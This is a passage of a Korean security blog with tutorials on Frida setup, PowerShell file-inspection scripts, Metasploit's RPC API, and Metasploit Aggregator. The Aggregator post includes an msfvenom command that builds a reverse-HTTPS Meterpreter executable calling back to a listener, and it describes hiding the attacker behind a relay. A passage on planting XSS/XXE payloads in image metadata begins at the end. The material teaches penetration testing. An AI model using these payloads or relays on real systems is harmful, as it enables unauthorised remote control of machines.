보면 type이 DYN이네요. 아... type 관련 문제는 대체로 컴파일단에서 발생하지만 ,
이번 케이스는 초기에 x86으로 잘못 받아서 에러가 났던것입니다.
frida-server-10.5.8-android-x86_64

arm 버전으로 받아서 실행하면 잘 됩니다.

2. adb root 불가 케이스(adbd cannot run as root in production builds)

에러 내용과 같이 adbd에서 root run을 지원하지 않는 경우입니다. 이런 경우 adb를 root run이 가능하게 다시 build 하거나 그냥 직접 adb shell로 접근하여 su를 통해 root로 변경 후 작업하시면 됩니다.

Document

문서화가 잘 되어있습니다. 굿
https://www.frida.re/docs/examples/android/


Reference

https://www.frida.re/docs/examples/android/
Share: | Coffee Me:

8/24/2017

[POWERSHELL] 파워쉘을 이용한 파일 정보 확인하기(Write a get file information script)


파워쉘에 대한 이야기를 잠깐 할까합니다. 윈도우 환경에서 파워쉘 사용 시 batch 파일에 비해 상세하게 시스템에 대해 제어할 수 있고 Ruby, Python 과 같은 언어와 달리 기본적으로 내장되어 있기 때문에 별도의 설치 없이 사용할 수 있는 장점이 있습니다.

오늘은 파워쉘을 이용해서 파일에 대한 정보를 가져오고, 내용을 보는 방법에 대해 정리하고 이를 통해 간단하게 파일 정보에 대해 확인하는 스크립트를 만들어보도록 하죠.

Get File information 

get-itemproperty 를 사용하면 쉽게 파일에 대한 정보를 가져올 수 있습니다. .py 파일에 대해 가져와보면..

기본적인 정보부터, 생성,수정일 등등 여러가지 정보를 획득할 수 있습니다.

PS C:\>get-itemproperty -Path app.py | Format-list -Property * -Force

PSPath            : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\app.py
PSParentPath      : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
PSChildName       : app.py
PSDrive           : C
PSProvider        : Microsoft.PowerShell.Core\FileSystem
VersionInfo       : File:             C:\Users\Administrator\Desktop\app.py
                    InternalName:
                    OriginalFilename:
                    FileVersion:
                    FileDescription:
                    Product:
                    ProductVersion:
                    Debug:            False
                    Patched:          False
                    PreRelease:       False
                    PrivateBuild:     False
                    SpecialBuild:     False
                    Language:

BaseName          : app
Mode              : -a---
Name              : app.py
Length            : 831
DirectoryName     : C:\Users\Administrator\Desktop
Directory         : C:\Users\Administrator\Desktop
IsReadOnly        : False
Exists            : True
FullName          : C:\Users\Administrator\Desktop\app.py
Extension         : .py
CreationTime      : 2017-05-15 오후 12:01:18
CreationTimeUtc   : 2017-05-15 오전 3:01:18
LastAccessTime    : 2017-05-15 오후 12:01:16
LastAccessTimeUtc : 2017-05-15 오전 3:01:16
LastWriteTime     : 2017-05-15 오후 1:37:44
LastWriteTimeUtc  : 2017-05-15 오전 4:37:44
Attributes        : Archive

뒤에 Format-list -Property * -Force 부분은 데이터를 조금 더 좋게 표현하기 위해 파이프로 넘겨 출력 형태를 변경한 것입니다. 파워쉘은 각각 출력 데이터가 Object 처럼 지정되어 있기 때문에 출력 형태를 변형하거나 필요한 데이터를 읽기 매우 쉽습니다.

Get Binary information

get-content를 이용하면 파일 내용을 읽을 수 있습니다.

PS C:\>get-content "File" 

형태로 넘겨주면 파일에 따라 알수없는 값이 나타나기도 합니다. 당연히.. txt 같이 plan text가 들어있다면 잘 보이겠지만 실행 파일처럼 바이너리들은 깨진 문자를 만나게 되죠. 그래서 우린 -Encoding 인자를 넘겨주어 표현할 인코딩을 지정해줍니다. UTF8, Byte 등이 많이 쓰이죠.

get-content "Path" -Encoding UTF8 | Select-Object -First 50
get-content "Path" -Encoding Byte | Select-Object -First 50
get-content "Path" | Select-Object -First 50

get-content 이외에도 OpenRead()를 통해 파일 데이터를 읽어올 수 있습니다. 편의에 따라 사용하시면 좋을 것 같네요. 아래는 파일을 읽어 Byte로 출력해주는 스크립트 코드입니다. [System.IO.File]::OpenRead()로 대상 파일을 읽은 후 내부 데이터를 Byte 형태로 출력해줍니다.

$bufferSize = 65536
$stream = [System.IO.File]::OpenRead("File Path")
while ( $stream.Position -lt $stream.Length ) {
#BEGIN CALLOUT A
  $buffer = new-object Byte[] $bufferSize
  $bytesRead = $stream.Read($buffer, 0, $bufferSize)
#END CALLOUT A
  for ( $line = 0; $line -lt [Math]::Floor($bytesRead /
  16); $line++ ) {
    $slice = $buffer[($line * 16)..(($line * 16) + 15)]
    (("{0:X2} {1:X2} {2:X2} {3:X2} {4:X2} {5:X2} ") +
    ("{6:X2} {7:X2} {8:X2} {9:X2} {10:X2} {11:X2} ") +
    ("{12:X2} {13:X2} {14:X2} {15:X2} ")) -f $slice
  }
#BEGIN CALLOUT B
  if ( $bytesRead % 16 -ne 0 ) {
    $slice = $buffer[($line * 16)..($bytesRead - 1)]
    $output = ""
    foreach ( $byte in $slice ) {
      $output += "{0:X2} " -f $byte
    }
    $output
#END CALLOUT B
  }
}
$stream.Close()

Get file information script

위 2가지를 조합해보면 파일에 대한 정보를 불러오는 스크립트를 만들 수 있습니다. 사실 다른 수집 코드도 내용만 붙여가면 더 좋은 스크립트가 될거라 생각합니다.

finfo.ps1
Param (
[Parameter(Mandatory=$true)] // 파일 이름을 꼭 받도록 Mandatory 지정
$path
)

Write-Host " ---- < File Default Information > "
get-itemproperty -Path $path | Format-list -Property * -Force
Write-Host " ---- < Binary Hex Data > "
$bufferSize = 65536
$stream = [System.IO.File]::OpenRead($path)
while ( $stream.Position -lt $stream.Length ) {
#BEGIN CALLOUT A
  $buffer = new-object Byte[] $bufferSize
  $bytesRead = $stream.Read($buffer, 0, $bufferSize)
#END CALLOUT A
  for ( $line = 0; $line -lt [Math]::Floor($bytesRead /
  16); $line++ ) {
    $slice = $buffer[($line * 16)..(($line * 16) + 15)]
    (("{0:X2} {1:X2} {2:X2} {3:X2} {4:X2} {5:X2} ") +
    ("{6:X2} {7:X2} {8:X2} {9:X2} {10:X2} {11:X2} ") +
    ("{12:X2} {13:X2} {14:X2} {15:X2} ")) -f $slice
  }
#BEGIN CALLOUT B
  if ( $bytesRead % 16 -ne 0 ) {
    $slice = $buffer[($line * 16)..($bytesRead - 1)]
    $output = ""
    foreach ( $byte in $slice ) {
      $output += "{0:X2} " -f $byte
    }
    $output
#END CALLOUT B
  }
}
$stream.Close()

실행해보면..

PS C:\> .\finfo.ps1 .\app.py
 ---- < File Default Information >


PSPath            : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\app.py
PSParentPath      : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
PSChildName       : app.py
PSDrive           : C
PSProvider        : Microsoft.PowerShell.Core\FileSystem
VersionInfo       : File:             C:\Users\Administrator\Desktop\app.py
                    InternalName:
                    OriginalFilename:
                    FileVersion:
                    FileDescription:
                    Product:
                    ProductVersion:
                    Debug:            False
                    Patched:          False
                    PreRelease:       False
                    PrivateBuild:     False
                    SpecialBuild:     False
                    Language:

BaseName          : app
Mode              : -a---
Name              : app.py
Length            : 831
DirectoryName     : C:\Users\Administrator\Desktop
Directory         : C:\Users\Administrator\Desktop
IsReadOnly        : False
Exists            : True
FullName          : C:\Users\Administrator\Desktop\app.py
Extension         : .py
CreationTime      : 2017-05-15 오후 12:01:18
CreationTimeUtc   : 2017-05-15 오전 3:01:18
LastAccessTime    : 2017-05-15 오후 12:01:16
LastAccessTimeUtc : 2017-05-15 오전 3:01:16
LastWriteTime     : 2017-05-15 오후 1:37:44
LastWriteTimeUtc  : 2017-05-15 오전 4:37:44
Attributes        : Archive



 ---- < Binary Hex Data >
69 6D 70 6F 72 74 20 74 68 72 65 61 64 69 6E 67
0A 69 6D 70 6F 72 74 20 73 75 62 70 72 6F 63 65
73 73 0A 69 6D 70 6F 72 74 20 6F 73 0A 69 6D 70
6F 72 74 20 73 79 73 0A 69 6D 70 6F 72 74 20 67
6C 6F 62 0A 0A 64 65 66 20 72 75 6E 54 68 72 65
61 64 28 71 75 65 72 79 29 3A 0A 09 66 6F 72 20
69 20 69 6E 20 72 61 6E 67 65 28 61 70 70 4C 69
73 74 43 6F 75 6E 74 29 3A 0A 09 09 70 72 69 6E
74 20 71 75 65 72 79 2B 61 70 70 4C 69 73 74 5B
69 5D 0A 09 09 23 6F 73 2E 73 79 73 74 65 6D 28
71 75 65 72 79 29 0A 09 0A 74 68 72 65 61 64 73
20 3D 20 5B 5D 0A 63 62 65 20 3D 20 22 61 64 62
20 2D 73 20 22 0A 63 61 66 20 3D 20 22 20 69 6E
73 74 61 6C 6C 20 22 0A 71 75 65 72 79 20 3D 5B
5D 0A 23 61 70 70 6E 61 6D 65 20 3D 20 73 79 73
2E 61 72 67 76 5B 31 5D 0A 0A 61 70 70 4C 69 73
74 20 3D 20 67 6C 6F 62 2E 67 6C 6F 62 28 22 2E
.....

여기에 파워쉘 Refernce를 참조하며 필요한 데이터 수집 부분을 더한다면 윈도우에서 사용할 수 있는 아주 편리한 파일 분석 스크립트로 만들수도 있을 것 같습니다.

상세한  Function 에 대한 정보는 MSDN 찾아보시면 잘 나옵니다.
https://msdn.microsoft.com/en-us/library/ms714469(v=vs.85).aspx

Reference

http://windowsitpro.com/powershell/get-hex-dumps-files-powershell
https://msdn.microsoft.com/en-us/library/ms714469(v=vs.85).aspx
Share: | Coffee Me:

[POWERSHELL] 이 시스템에서 스크립트를 실행할 수 없으므로 파일을 로드할 수 없습니다(execution of scripts is disabled on this system.) 에러 해결 방법

메모차 간단하게 작성합니다.

Powershell script 를 작성 / 사용하다보면 아래와 같은 에러가 반겨주는 경우가 있습니다.

한글

"이 시스템에서 스크립트를 실행할 수 없으므로 파일을 로드할 수 없습니다"


영문

"execution of scripts is disabled on this system."


이런 에러는Windows에서 정책적으로 Powershell 실행에 제한이 있어서 불가능합니다. 관리자 권한이 있는 powershell로 ExecutionPolicy를 RemoteSigned로 변경해주는 것으로 해결이 가능합니다.

PS C:\> Set-ExecutionPolicy RemoteSigned

잘 바뀌었네요. 바뀐 권한을 보면 RemoteSigned로 변경되어있습니다.

PS C:\> Get-ExecutionPolicy
RemoteSigned
Share: | Coffee Me:

8/23/2017

[METASPLOIT] Using Metasploit API with NodeJS and msfrpcd(API 사용하기, 개발하기)

요즘 metasploit의 rpc에 대해 굉장히 관심이 많습니다. 대표적으론 msgrpc plugin 부터 msfrpcd까지..

제가 주로 루비를 많이 쓰긴 하지만, 업무 때문에 그런가 JS도 무시 못할정도로 많이 사용하고 있었더군요. 잘 생각해보면 제 블로그 자체도 많은 JS 와 CSS 코드로 짜여진 페이지였었네요. 덕분에 최근 NodeJS에 관심을 가지고 알아가고 있는 중입니다.
(쓰면서 확장성에 매우 놀라고있네요)

오늘은 바로 NodeJS 와 msfrpcd를 이용해 Metasploit을 가지고 노는 이야기를 할까 합니다.


msfrpc?

msfrpc란 metasploit에서 제공하는 rpc 서버로 보시면 좋습니다. metasploit을 rpc서버처럼 사용하여 API로 정보교환, 명령어 전달이 가능합니다. 이를 활용하면 msfconsole이 아니여도 다른 형태의 UI 구성을 이룰 수 있지요. 대표적으론 Armitage 또한 msfrpc를 이용해서 UI 와 Metasploit Framework를 연결하는 것으로 알고있습니다.

msfrpc의 동작 자체는 JSON 형태로 통신하기 때문에 어렵지 않습니다.
JSON 포맷으로 데이터를 전송하면 동일하게 JSON 포맷으로 데이터를 받습니다.

{
"version" => "4.0.0-release",
"ruby" => "1.9.1 x86_64-linux 2010-01-10"
}

물론 직접 파싱해서 사용해도 되고 라이브러리를 이용해 쉽게 사용할수도 있습니다.

Connecting with NodeJS Library

NodeJS 에서 msfrpc를 쉽게 다루기 위해선 라이브러리 설치가 필요합니다.
물론 프로토콜에 대한 이해가 있다면 라이브러리 없이 가능하겠지만, 그래도 선구자분들이 열심히 만들어놨기 때문에 잘 사용해서 쉽게 만들어갑시다.

먼저 npm을 통해 msfrpc-client-node 의 설치가 필요합니다.

#> npm install msfrpc-client-node --save

그러고나서 msfrpcd 를 열어준 후..

#> ./msfrpcd -U test -P 1234
[*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg...
[*] MSGRPC backgrounding at 2017-08-22 18:28:26 +0900...

코드를 작성합니다. 크게 나눠서 살펴보면

MsfRpcClient 로 새로운 객체를 만들어주는데, 인자로 msfrpc로 넘길 정보를 같이 넘겨줍니다. 대표적으로 user / password 부터, host address, port 정보가 되겠지요.

그다음 exec 메소드를 통해 msfrpc 서버로 요청을 전달할 수 있습니다. 해당 메소드로 전송하게 될 떄 위에서 설명드린 것 같이 JSON 형태로 요청이 발송되고, 수신 또한 JSON으로 받게됩니다.

바로 코드 보시는게 좋을 것 같네요.

var MsfRpcClient = require('msfrpc-client-node');
var client = new MsfRpcClient({
                                password:'1234', // password 항목은 msfrpc의 password
                                user:'test', // user 항목은 msfrpc의 user
                                host:'127.0.0.1', // host 주소
    port: '55553', // port 번호
                                persist:false
                              });

// client에 MsfRpcClient의 객체가 있기 때문에
// exec 메소드로 msfrpc 서버에 명령 전송이 가능합니다.

client.exec(['core.version']) // Metasploit의 버전을 받아오겠습니다.
.then(
  (res)=>{
    console.log(`MSF Version : ${res.version} `)
    console.log(`API Verson: ${res.api}`)
  }
)
.catch(console.log);

MsfRpcClient를 이용해서 msfrpcd에 접속 후 exec로 명령을 날려줍니다. 간단하게 core.version을 가져와봅니다.

#> node msgrpc_node.js
MSF Version : 4.15.7-dev-98ba671
API Verson: 1.0

잘 되네요. 그럼 아래 구문을 추가해서 현재 module 들의 상태를 봐볼까요?

client.exec(['core.module_stats'])
.then(
  (res)=>{
    console.log(res);
  }
)
.catch(console.log);

#> node msgrpc_node.js
MSF Version : 4.15.7-dev-98ba671
API Verson: 1.0
{ exploits: 1675,
  auxiliary: 993,
  post: 295,
  encoders: 40,
  nops: 9,
  payloads: 489 }

굿 JSON 형태로 잘 받아와집니다. 파싱해서 알아서 사용하시면..됩니다. 정보 가져오기를 해봤으니 조금 더 심도있게 봐보죠.

module 가지고 놀기

API Reference 를 보면.. 굉장히 많은 내용이 있습니다. 우리가 다뤄봐야할 APi 또한 무수히 많지요. 일단 사용하는 형태에 익숙해지면 나머진 참고하면서 개발하면 되니 하나만 골라서 보도록 하겠습니다.

스캔 진행하고, Exploit할 수 있는 module에 대해서 보도록하죠. 각 모듈은 세부 항목으로 나눌 수 있고 info, execute와 같이 실행 / 정보 수집에 관련된 내용도 있습니다.

module.exploits
module.payloads
module.nops
module.encoders
module.post
module.auxiliary
module.info
module.execute

※ 전부는 아니에요. 더 많아요.. 매우..

module.exploits 은 해당하는 모듈 내용(exploit들)을 의미하며 해당 내용만 client.exec로 넘겼을 땐 모듈 exploit 모듈의 정보를 받아오게 됩니다. 각각 하위 항목에 대해서는 JSON 형태로 보이니 적절히 파싱해서 사용하면 되지요. 다른 모듈도 마찬가지입니다. nops, encoders 등등 해당하는 모듈의 이름, 코드, 옵션부터 여러가지 정보를 쉽게 가져올 수 있지요.

그럼 module.info 를 사용해볼까요? module.info는 이름 그대로 각 모듈에 대한 정보를 가져옵니다. 인자값으론 어떤 모듈 범위인지(exploit, nops, post 등), 상세한 경로는 어떻게 되는지 지정해주고 그에 대한 결과를 JSON으로 받아옵니다.

client.exec(['module.info', 'exploit', 'multi/handler' ])
.then(
  (res)=>{
    console.log(res);
  }
)
.catch(console.log);

요런식으로 데이터를 받아서 출력하는 구문을 넣어주면..

#> node msgrpc_node.js
MSF Version : 4.15.7-dev-98ba671
API Verson: 1.0
{ type: 'exploit',
  name: 'Generic Payload Handler',
  fullname: 'exploit/multi/handler',
  rank: 'manual',
  disclosuredate: '',
  description: 'This module is a stub that provides all of the features of the Metasploit payload system to exploits that have been launched outside of the framework.',
  license: 'Metasploit Framework License (BSD)',
  filepath: '/home/hahwul/Noon/noon/modules/exploits/multi/handler.rb',
  arch:
   [ 'x86',
     'x86_64',
     'x64',
     'mips',
     'mipsle',
     'mipsbe',
     'mips64',
     'mips64le',
     'ppc',
     'ppc64',
     'ppc64le',
     'cbea',
     'cbea64',
     'sparc',
     'sparc64',
     'armle',
     'armbe',
     'aarch64',
     'cmd',
     'php',
     'tty',
     'java',
     'ruby',
     'dalvik',
     'python',
     'nodejs',
     'firefox',
     'zarch' ],
  platform:
   [ 'Msf::Module::Platform::Android',

....

모듈에 대한 정보를 받아올 수 있죠. module.execute 또한 동일합니다. 인자값으로 모듈에 대한 정보를 넘겨주면.. 해당 모듈을 Metasploit가 아닌 NodeJS에서 msfrpc를 통해 실행할 수 있게되죠.


Client: [ "module.execute", "<token>", "ModuleType", "ModuleName", {
"RHOST" => "1.2.3.4",
"RPORT" => "80"
}
]
Copyright © 2011 Rapid7 LLC | API Reference 33
Server: { "job_id" => 1 }

이런식으로 API 사용과 응용이 가능합니다. 잘 손 본다면 웹 기반의 재미있는 Metasploit 서비스들을 만들 수 있겠네요.

Connecting with Ruby library

API Reference 보다보니.. 루비에 대한 이야기가 빠질 수 없습니다. 본래 Metasploit 자체가 루비로 만들어졌기 떄문에 가장 기본이 되는 방법이라고 생각되네요. 메모삼아 같이 남겨둡니다.

당연히 msfrpc에 대한 ruby-gem이 있습니다!  사용을 위해서는 바로 설치해줍니다.

#> gem install librex --no-rdoc --no-ri
#> gem install msfrpc-client

첨부터 짜려면 매우 막막하겠지만.. 예제 코드가 gemdir 하위에 존재합니다. 디렉토리로 이동해주시고 하나하나 구경해보시면 됩니다.

#> cd `gem env gemdir`/gems/msfrpc-client-*/examples

여러개 예제들이 있는데, 그 중 msfrpc_irb.rb를 보도록 하겠습니다.

# ruby msfrpc_irb.rb --rpc-user msf --rpc-pass buFdG7be
[*] The RPC client is available in variable 'rpc'
[*] Starting IRB shell...
>>

예제 코드라 별다른건 없고, user, pass를 넘겨 인증 시 irb 상태로 msf 에 접근할 수 있습니다. 혹시라도 irb를 즐겨하시거나 railgun 에 익숙하시다면.. 매우 반갑겠죠.

#> ruby msfrpc_irb.rb --rpc-user msf --rpc-pass buFdG7be --rpc-port 55552 --rpc-host 127.0.0.1 --rpc-uri /api/1.0 --rpc-token [YOUR_TOKEN]
[*] The RPC client is available in variable 'rpc'
[*] Sucessfully authenticated to the server
[*] Starting IRB shell...
>>

인증을 받던, 아니면 직접 토큰을 넘겨주던 해서 IRB 로 접근합니다. msgrpc(msfrpc)와 정상적으로 연결되었네요.

#> netstat -anp | grep 55552
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:55552         0.0.0.0:*               LISTEN      -            
tcp        0      0 127.0.0.1:55552         127.0.0.1:38259         ESTABLISHED -            
tcp        0      0 127.0.0.1:38259         127.0.0.1:55552         ESTABLISHED

코드를 보면.. 요런식입니다. (제가 테스트한다고 손봐서, 예제코드 그 자체는 아닙니다)

# Use the RPC option parser to handle standard flags
opts   = {}
parser = Msf::RPC::Client.option_parser(opts)
parser.parse!(ARGV)

puts opts # options.parse를 사용합니다. 이 소리는 직접 인자를 넘겨주지 않아도 아래와 같이 꾸밀 수 있단 이야기겠죠.
#{:user=>"msf", :pass=>"buFdG7be", :port=>55552, :host=>"127.0.0.1", :uri=>"/api/1.0", :token=>"123"}

# 바로 이런식으로!
opts[:user] = "msf"
opts[:pass] = "123"
opts[:port] = "55552"
opts[:host] = "127.0.0.1"
opts[:uri] = "/api/1.0"
opts[:token] = "123"

puts opts

실제로 실행해보면..

#> ruby msfrpc_irb.rb --rpc-user msf --rpc-pass buFdG7be --rpc-port 55552 --rpc-host 127.0.0.1 --rpc-uri /api/1.0 --rpc-token 123
{:user=>"msf", :pass=>"buFdG7be", :port=>55552, :host=>"127.0.0.1", :uri=>"/api/1.0", :token=>"123"}
{:user=>"msf", :pass=>"123", :port=>"55552", :host=>"127.0.0.1", :uri=>"/api/1.0", :token=>"123"}
[*] Connecting..
[*] Sucessfully authenticated to the server
[*] ID:
[*] PASS:
[*] Starting IRB shell...

잘 되네요. Ruby에서도 msfrpc 형태를 따라가기 떄문에 JSON형태로 rpc.call()를 통해 명령을 넘겨주면 됩니다.

Conclusion

이 msfrpc 와 ruby, nodejs 라이브러리는 엄청난 가치를 지닌 것들이라고 생각됩니다. 단순히 툴을 사용하는걸 떠나 연동되는 서비스를 만들 수 있고 조금 더 가치있는 부분을 떼어낼 수 있는 좋은 것이라고 생각이 드네요. 물론 API Reference 에 대한 학습은 필수입니다.  API만 잘 활용한다면 재미있고 멋진 서비스를 만들어볼 수 있겠네요.

Reference

http://www.nothink.org/metasploit/documentation/RemoteAPI_4.1.pdf
https://help.rapid7.com/metasploit/Content/api/rpc/overview.html
Share: | Coffee Me:

8/17/2017

[METASPLOIT] Metasploit-Aggregator를 이용한 Meterpreter session 관리하기(feat Meterpreter 중계서버)


Metasploit과 Meterpreter는 굉장히 좋은 툴(외계인의 툴 중 하나..?)지만 간간히 불편한점도 존재합니다. 대표적으론 여러 사용자가 세션에 대해 공유할 수 없다는 점과 공격자의 Metasploit에 모든 세션을 담기에는 너무 많아지면 불편해지겠죠. 오늘은 이를 해결할 수 있는 Aggregator에 대한 이야기를 할까 합니다.

사실 이러한 문제를 해결하려고 찾았다기 보단.. 인지만 하고 있는 상태에서 Metasploit Plugin 디렉토리를 보다보니 Aggregator란 첨보는게 있어서 찾다가 이 포스팅이 시작되었네요. 그럼 시작해볼까요.


What is Aggregator?

Aggregator는 Meterpreter 세션에 대한 프록시 툴입니다. 찾다보니 알게되었는데, 올해 나온 기능이였네요.. 아무튼 이 plugin이 활동하는 위치를 보자면 Metasploit과 Meterpreter 사이에서 중계자 역할을 하게됩니다.

그림으로 표현하면 아래와 같습니다.

그리기 넘 귀찮..

Aggregator는 Metasploit과 여러 Meterpreter shell 사이에서 중계 역할을 수행하며 각각 Meterpreter shell의 세션은 Aggregator로 연결됩니다. Aggregator는 세션을 관리하는 기능을 담고 있고 공격자는 Metasploit을 통해 Aggregator로 연결하여 이 세션들을 사용합니다. 직접 Metasploit으로 세션에 연결하는게 아니기 때문에 상황에 따라 공격자의 Metasploit의 주소를 숨기는데도 사용될 수 있겠네요.

사용하기 전에 몇가지 개념을 알아두면 좋습니다.

cable
metasploit의 Exploit handler와 유사한 기능입니다. Aggregator에서 Meterpreter에서 언제든지 접근할 수 있도록 Listen 상태로 Session의 연결을 기다립니다.

parked
cable과 달리 연결 상태는 아니고 aggregator와 meterpreter과 최소한의 통신만을 유지하여 살아있는지 확인만 진행합니다. heartbeet과 같죠.

여러 개념들이 있지만 두가지는 꼭 알아두는게 좋을 것 같습니다.

다른 개념들은 아래 사이트에 내 "Metasploit Aggregator introduces a few new concepts" 부분에 잘 정리되어있습니다. 참고해주세요
https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/

Install Metasploit Aggregator 

설치는 .. 매번 이야기하듯 아주 간단합니다. 심지어 gem으로 포팅되서 더더욱 편리하죠.

#> gem install metasploit-aggregator
Successfully installed metasploit-aggregator-0.2.1
1 gem installed

또는 공식 github를 통해 다운로드 후 설치할 수 있습니다. 물론 어차피 gem이지만요..

#> git clone https://github.com/rapid7/metasploit-aggregator

Using Metasploit Aggregator

일단 gem으로 설치되어서 ruby 코드에서도 부를 수 있지만 command line 명령으로도 제공됩니다.

#> metasploit-aggregator
WARN: Unresolved specs during Gem::Specification.reset:
      grpc (>= 0)
      rex-arch (>= 0)
WARN: Clearing out unresolved specs.
Please report a bug if this causes problems.
2017-08-17 21:38:34 +0900 Starting administration service on 127.0.0.1:2447

실행하면 해당 PC에서 기본적으로 2447 포트로 동작하게 됩니다. 이 과정에서 문제 발생하던게 있었느데, 여차저차하니 해결됬습니다. 라이브러리 의존성 문제! (심각한 문젠 아닌거 같아요 위에 WARN나는건)

HAHWUL > load aggregator
[*] Aggregator interaction has been enabled
[*] Successfully loaded plugin: aggregator

일단 실행에 앞서서 명령어 셋을 보면..

Aggregator Commands
===================

    Command                     Description
    -------                     -----------
    aggregator_addresses        List all remote ip addresses available for ingress
    aggregator_cable_add        Setup remote https listener for sessions
    aggregator_cable_remove     Stop remote listener for sessions
    aggregator_cables           List all remote listeners for sessions
    aggregator_connect          Connect to a running Aggregator instance ( host[:port] )
    aggregator_default_forward  forward a unlisted/unhandled sessions to a specified listener
    aggregator_disconnect       Disconnect from an active Aggregator instance
    aggregator_save             Save connection details to an Aggregator instance
    aggregator_session_forward  forward a session to a specified listener
    aggregator_session_park     Park an existing session on the Aggregator instance
    aggregator_sessions         List all remote sessions currently available from the



위에 개념들에 대해 이해되셨다면 한눈에 들어오겠네요.
aggregator 로 연결을 해보면..

HAHWUL > aggregator_connect 127.0.0.1:2447
[*] Connecting to Aggregator instance at 127.0.0.1:2447...
E0817 21:40:03.591233870   25993 uri_parser.c:60]            bad uri.scheme: ''
E0817 21:40:03.591334832   25993 uri_parser.c:66]                             ^ here
E0817 21:40:03.591373079   25993 http_proxy.c:56]            cannot parse value of 'http_proxy' env var

에러가 납니다. 환경 때문인건건지 잘 모르겠네요. github에 가이드 있는대로 ssh 터널링을 해봐도 동일합니다.

일단 rapid7쪽으로 문의는 넣어봤는데, 언제 답이올지 모르겠네요.
https://github.com/rapid7/metasploit-aggregator/issues/10



그럼.. 직접 진행은 어려우니 일단 git에 작성된 내용으로 살펴보겠습니다.

아 먼저 aggregator는 자체적으로 암호화되지 않으니 꼭 SSH 터널링을 사용해줍시다.

localhost : 공격자
192.168.56.101 : aggregator 중계 서버

ssh [로컬IP:로컬포트]:[접근할IP:접근할포트] ssh 접근정보
ssh 4427:192.168.56.101:2447 user@192.168.56.101

※ 로컬은 포트만 적어도 크게 상관이 없죠.
이렇게 세팅한 경우 localhost:4427로 연결해서 aggregator를 사용하시면 됩니다.

HAHWUL > aggregator_connect localhost:4427

다시 git쪽 내용으로 와서..

부럽네요. connect가 잘 되다니..

msf > load aggregator 
[*] Aggregator interaction has been enabled
[*] Successfully loaded plugin: aggregator
msf > aggregator_connect 127.0.0.1:2447
[*] Connecting to Aggregator instance at 127.0.0.1:2447...
msf > 

로드가 완료되면 aggregator 사용이 가능합니다. cable 추가로 8443 포트로 cable을 추가합니다.
※ cable: metasploit의 Exploit handler와 유사한 기능입니다. 위에 제대로 안읽으신건 아니겠지?!
※ default_forward는 포워딩 방식을 지정합니다.

msf > aggregator_cable_add 192.168.1.10:8443
msf > aggregator_default_forward 
msf >

8443 포트로는 meterpreter session이 붙으면 aggregator에 의해 관리됩니다. git 내용에선 msfvenom으로 payload를 실행파일로 만들어서 테스트했네요.

#> msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.1.10 LPORT=8443 -f exe -o launch-stageless.exe

launch-stageless.exe를 실행하면 192.168.1.10의 8443 포트로 meterpreter가 연결하려 할꺼고 연결된 순간 metasploit-aggregator에서 해당 세션을 관리하게 됩니다.

msf > 
[*] Meterpreter session 1 opened (127.0.0.1:53414 -> 127.0.0.1:53519) at 2017-03-06 13:46:23 -0600

그래서 공격자 PC에서 aggregator_sessions로 보면..

msf > aggregator_sessions
[*] Sessions found:
[*] Remote ID: 1
[*]      Type: meterpreter windows
[*]      Info: DESKTOP-KAO0P3O\user @ DESKTOP-NAME
[*]    Tunnel: 192.168.1.10:8443 -> 192.168.1.11:53528
[*]       Via: exploit/multi/handler
[*]      UUID: 8121940d2f5c4b1f/x86=1/windows=0/2016-12-15T22:03:16Z
[*] MachineID: 1e2b16f37eab2324b9089cd93f16533b
[*]   CheckIn: 3s ago
[*] Registered: Not Yet Implemented
[*]   Forward: 50ab485d-dbe3-4045-95c4-c9abd45c1683
[*] Session ID: 1
[*]

이렇게 포워딩된 세션을 볼 수 있죠. aggregator_session_forward 명령, 인자로 session 번호를 넘겨주면 해당 쉘을 가져올 수 있습니다. 가져오는 과정은 metasploit-aggregator 서버와 연결되며 공격자 pc에선 마치 meterpreter shell을 얻은 것 처럼 보이지만 실제론 중계 서버를 이용해서 포워딩 받는 상태가 됩니다.

msf > aggregator_session_forward 1
msf > 
[*] Meterpreter session 2 opened (127.0.0.1:53414 -> 127.0.0.1:54066) at 2017-03-06 13:50:51 -0600

이런 과정들은 암호화되지 않기 때문에 rapid7측에선 ssh 터널링을 꼭 사용하라고 이야기하네요.


라이브러리 관련 정보는 ruby-doc쪽 보면 자세히 나와있으니 활용해서 개발해보시면 좋을 것 같네요 :)

Conclusion

aggregator는 여러명의 공격자(테스터)가 하나의 세션을 같이 사용하고, 중간에 관리해주는 서버(?)를 두기 위해 만든 기능이라고 봅니다. 다만 위에서 말씀드렸듯이 C&C 서버처럼 공격자 자신을 숨기고 Meterpreter와 통신하고 제어할 수 있기 때문에 좀 더 여러 형태의 공격이 가능할거라 생각합니다.

Reference

https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/
http://www.rubydoc.info/gems/metasploit-aggregator/0.1.3
https://github.com/rapid7/metasploit-aggregator
Share: | Coffee Me:

[WEB HACKING] 이미지 파일 내 metadata에 Payload 삽입하기(XSS,XXE,Meterpreter Scenario )

이미지를 처리하는 서비스들을 보면 많은 서비스들이 이미지의 metadata를 사용합니다. 이를 파싱해서 활용하기 때문에 우리는 이를 통해 XSS나 XXE 등 여러 웹 해킹 기법에 사용할 수 있습니다.

가장 쉬운 방법으론 윈도우나 리눅스에서 파일 속성을 열고 직접 편집하여 사용할 수 있지만 이는 약간 귀찮은 작업이고 툴이나 자동화 시 굉장히 걸리적거립니다.

리눅스에선 exif라는, 윈도우에서도 exiftool이라는 프로그램으로 터미널을 통해 쉽게 메타데이터에 대한 편집을 진행할 수 있습니다.

debian 시스템의 경우 apt-get 으로 설치해줍니다. (나머진 알아서, yum!)

#> apt-get install exif

#> exiftool
Syntax:  exiftool [OPTIONS] FILE

Consult the exiftool documentation for a full list of options.

설치 후 exiftool 명령을 치시면 잘 설치된 걸 확인할 수 있습니다.

Warm up - exiftool 알아가기

exiftool에 이미지 파일의 경로를 인자값으로 넘겨주면 파일에 대한 정보+metadata를 볼 수 있습니다.

#> exiftool exif.jpg 
ExifTool Version Number         : 10.10
File Name                       : exif.jpg
